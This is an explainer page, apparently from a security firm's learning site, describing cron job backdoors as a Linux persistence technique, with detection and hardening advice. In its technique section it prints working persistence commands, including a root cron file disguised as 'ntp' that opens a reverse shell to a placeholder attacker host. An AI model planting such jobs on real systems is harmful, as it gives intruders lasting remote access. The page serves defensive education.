What is a cron job backdoor?

A cron job backdoor adds an entry to the Linux cron scheduler that re-runs the attacker's payload on a schedule, often every minute or few minutes, so a killed shell reconnects and the foothold survives reboots. Attackers use a user's crontab (no root needed) or system cron files like `/etc/cron.d/` and `/etc/crontab` (root, runs as root). It blends in with legitimate scheduled jobs and maps to MITRE T1053.003.

HOW IT WORKS

01 The technique and payload

The attacker adds a recurring job:

- User crontab (no root): `(crontab -l 2>/dev/null; echo "* * * * * /tmp/.p.sh") | crontab -` runs the payload every minute as that user.
- System cron as root: `echo "* * * * * root bash -c 'bash -i >& /dev/tcp/ATTACKER/443 0>&1'" > /etc/cron.d/ntp` for a root reverse-shell callback.
- Hourly/daily drop-in: a script in `/etc/cron.hourly/`.

The job re-runs on schedule, reconnecting even after a reboot. Documented for defensive context.

> RECONNECT ON A TIMER
>
> *A cron backdoor's value is resilience: a short interval means a dropped connection reconnects within minutes and the foothold survives reboots, all using a normal, legitimate scheduler.*

HOW TO DEFEND

- Monitor cron locations (user crontabs, `/etc/crontab`, `/etc/cron.d/`, `/etc/cron.*`) for additions and changes via file integrity monitoring.
- Baseline legitimate cron jobs so new ones stand out, and review them periodically.
- Alert on cron commands that spawn shells, network connections, or run from `/tmp` and hidden paths.
- Restrict who can edit cron (`/etc/cron.allow`) and limit root.
- Audit with `crontab -l` per user and inspect the system cron directories.

SOURCES

[1] MITRE ATT&CK: Scheduled Task/Job (T1053)

[2] Linux man-pages: crontab

[3] MITRE ATT&CK: Persistence (TA0003)

Find the backdoors an attacker would leave behind.

securelayer7.net/learn/persistence/what-is-a-cron-job-backdoor

Open online